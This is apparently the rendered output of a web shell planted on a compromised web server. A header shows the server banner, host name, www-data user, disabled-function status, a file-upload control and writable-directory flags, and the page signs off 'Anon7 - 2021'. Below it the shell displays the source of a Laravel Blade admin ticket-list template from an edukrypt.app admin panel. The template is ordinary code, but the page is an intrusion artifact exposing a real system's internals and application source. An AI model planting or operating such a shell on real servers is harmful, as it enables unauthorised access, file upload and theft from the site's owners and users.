KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/tcl/admintcl.edukrypt.app/resources/views/ticket/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/tcl/admintcl.edukrypt.app/resources/views/ticket/ticket-list.blade.php
@extends('layout')

@section('content')
    
<?php
                                
    $adminType = App\Helpers\PermissionActivity::adminType();
        
?>


<!-- begin::main content -->

<main class="main-content">

    <div class="container">

        <!-- begin::page header -->
        <div class="page-header">
            <h3>Faq List</h3>
            <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="{{asset(''.$adminType.'/dashboard')}}">Dashboard</a></li>
                  
                    <li class="breadcrumb-item active" aria-current="page">Ticket List</li>
                </ol>
            </nav>
        </div>
        <!-- end::page header -->
        
     

        <div class="card">
        <x-flashMessage/>
        <div class="card-header">
            <form method="get" action="{{asset('/'.$adminType.'/user-list')}}">
                <div class="row">
                    
                    <div class="col-md-4">
                        <select class="form-control" name="sort">
                            <option value="" disabled selected>Select Sorting</option>
                            <option value="asc" <?php
                                                        if (isset($_GET['sort'])) {
                                                            if ($_GET['sort'] == 'asc') {
                                                                echo "selected";
                                                            }
                                                        }
                                                        ?>>Asceding</option>
                            <option value="desc" <?php
                                                    if (isset($_GET['sort'])) {
                                                        if ($_GET['sort'] == 'desc') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>Descending</option>
                        </select>
                    </div>

                    <div class="col-md-4">
                        <select class="form-control" style="margin-top: 2px;" name="entry">
                            <option value="" disabled selected>All</option>
                            <!-- <option value="25" >25</option> -->
                            <option value="50" <?php
                                                    if (isset($_GET['entry'])) {
                                                        if ($_GET['entry'] == '50') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>50</option>
                            <option value="100" <?php
                                                    if (isset($_GET['entry'])) {
                                                        if ($_GET['entry'] == '100') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>100</option>
                            <option value="1000" <?php
                                                    if (isset($_GET['entry'])) {
                                                        if ($_GET['entry'] == '1000') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>1000</option>
                            <option value="5000" <?php
                                                    if (isset($_GET['entry'])) {
                                                        if ($_GET['entry'] == '5000') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>5000</option>
                            <option value="10000" <?php
                                                    if (isset($_GET['entry'])) {
                                                        if ($_GET['entry'] == '10000') {
                                                            echo "selected";
                                                        }
                                                    }
                                                    ?>>10000</option>
                                                                               
                        </select>
                    </div>



                   
                </div>
                <br>
               
                <div class="row">

                    <div class="col-md-6">
                        <label>Start Date</label>
                        <input type="date" class="form-control"
                            value="{{(isset($_GET['from_date'])&& !empty($_GET['from_date'])) ? $_GET['from_date']:""}}"
                            name="from_date">
                    </div>
                    <div class="col-md-6">
                        <label>End Date</label>
                        <input type="date" class="form-control"
                            value="{{(isset($_GET['to_date'])&& !empty($_GET['to_date'])) ? $_GET['to_date']:""}}"
                            name="to_date">
                    </div>



                    
                </div>

                <br>
                <div class="row">

                  

                     <div class="col-md-6">
                       <input type="text" name="search" value="{{(isset($_GET['search'])&& !empty($_GET['search'])) ? $_GET['search']:""}}"  class="form-control" style="margin-top: 2px;" placeholder="Search by Name,Email,Phone">
                    </div>



                    <div class="col-md-2">
                        <button type="submit" class="btn btn-primary" style="margin-top: 2px;">Filter</button>
                                               </div>

                    <div class="col-md-2">
                       
                        <a href="{{asset(''.$adminType.'/faq-list')}}" class="btn btn-primary" style="margin-left: -76px;">Reset Filter</a>
                    </div>


                 


                </div>

            </form>
        </div>

        


              

                <div class="col-md-2 pull-right" style="margin-top: 25px;">
                               
                    <a href="{{asset(''.$adminType.'/add-faq')}}" class="form-group btn btn-primary"><i class="fa fa-plus"></i>&nbsp; Add Faq</a>
                </div>
                <div class="card-body">
                @if(isset($helps))
                <table  id="example1" class="table table-striped table-bordered">
                    <thead>
                    <tr>
                        <th>Id</th>
                        <th>Name</th>                       
                        <th>Activity Name</th>
                        <th>Subject</th>
                        <th>Description</th>
                        <th>file</th>
                        <th>Samasya</th>
                        <th>Comment</th>
                        <!-- <th>Comment Audio File</th> -->
                        <!-- <th>Audio File</th> -->
                       
                        <th>Created On</th>
                        
                        <th>Action</th>
                    </tr>
                    </thead>
                    <tbody>
                        @if(!empty($helps))
                        @php $i=1; @endphp
                        @foreach($helps as $help)
                    <tr>
                        <td>@php echo $i;$i++; @endphp</td>
                        <td>{{$help->name}}</td>
                        <td>{{$help->activity_name}}</td>
                        <td>{{$help->subject}}</td>
                        <td>{{$help->description}}</td>
                        <td><img class="imageSize" src="{{asset('public/'.$help->file)}}"></td>
                        <td>{{$help->koi_or_samasya}}</td>
                        <td>{{$help->comment}}</td>
                        <!-- <td><audio controls>
                        <source src="{{asset('public/uploads/profile/'.$help->comment_audio_file)}}" type="audio/ogg">


                        </audio></td> -->

                        <!-- <td><audio controls>
                        <source src="{{asset('public/uploads/profile/'.$help->audio_file)}}" type="audio/ogg">


                        </audio></td> -->
                      
                       
                       
                    

                        <td>{{date("d-m-Y",strtotime($help->created_at))}}</td>
                       
                        <td>
                          
                        @if( Request::segment(1) != 'superadmin')
                            <?php 
                            $permission = App\Helpers\PermissionActivity::getPermissionByAdminId(session('loggedIn')['id'],2);                                                          
                            // dd($permission);
                       ?>

                       @if($permission == 'read')
                       <a  href="{{asset(''.$adminType.'/view-ticket/'.$help->id)}}"><i class="fa fa-eye fa-lg text-primary"></i></a>
                       <!-- <a  href="{{asset('admin/edit-user/'.$user->id)}}"><i class="fa fa-edit text-success"></i></a> -->
                      
                       @endif

                       @if($permission == 'write')

                       <!-- <a  href="{{asset('admin/reset-user-password/'.$user->id)}}"><i class="fa fa-undo text-primary"></i></a> -->
                       
                       <a  href="{{asset(''.$adminType.'/view-ticket/'.$help->id)}}"><i class="fa fa-eye fa-lg text-primary"></i></a>
                       <!-- <a  href="{{asset(''.$adminType.'/edit-ticket/'.$help->id)}}"><i class="fa fa-edit fa-lg text-success"></i></a> -->
                       
                       
                       @endif

                       @if($permission == 'delete')
                     
                       <a  href="{{asset(''.$adminType.'/view-ticket/'.$help->id)}}"><i class="fa fa-eye fa-lg text-primary"></i></a>
                       <!-- <a  href="{{asset(''.$adminType.'/edit-ticket/'.$help->id)}}"><i class="fa fa-edit fa-lg text-success"></i></a> -->
                       <a  href="{{asset(''.$adminType.'/delete-ticket/'.$help->id)}}" class="delete-confirm"   ><i class="fa fa-trash fa-lg text-danger"></i></a>
                       @endif

                      @else
 
                            <a  href="{{asset(''.$adminType.'/view-ticket/'.$help->id)}}"><i class="fa fa-eye fa-lg text-primary"></i></a>
                            <!-- <a  href="{{asset(''.$adminType.'/edit-ticket/'.$help->id)}}"><i class="fa fa-edit fa-lg text-success"></i></a> -->
                            <a  href="{{asset(''.$adminType.'/delete-ticket/'.$help->id)}}" class="delete-confirm"   ><i class="fa fa-trash fa-lg text-danger"></i></a>
                        @endif

                            
                        </td>
                       
                    </tr>
                    @endforeach
                    @else
                        <h1>No Record Found!!</h1>
                    @endif
                    
                    </tbody>
                  
                </table>
                
                <div class="pagination-block">
                    {{ $helps->appends(request()->query())->links('includes.paginationlinks') }}
                    <label>Showing total <?php echo $helps->total(); ?> results</label>
                </div>
 
              @endif

            </div>
        </div>

       

    </div>

</main>
<!-- end::main content -->

@endsection
@push('footer-script')
    <!-- begin::dataTable -->

    

<script>
     $('.status-change').on('change', function (e) {
        e.preventDefault();

        $.ajaxSetup({
                      headers: {
                          'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                      }
                      });

        var id = $(this).data('id');
        var ckb = $(this).is(':checked');
      

        $.ajax({
            type:"post",
            data:{
                "id":id,
                "ckb":ckb
            },
            url:"{{ asset(''.$adminType.'/faq-change-status/') }}",
            success:function(result)
            {
                // console.log(result);

                if (ckb && data) {
                     toastr.success('Successfully Activated!');
                }
                else if (ckb == false && data) {
                    toastr.warning('Successfully Deactivated!');
                }
                else {
                    toastr.warning('Please Try Again!');
                }
            }
        });

      

    });



   

</script>
<!-- end::dataTable -->
@endpush

Anon7 - 2021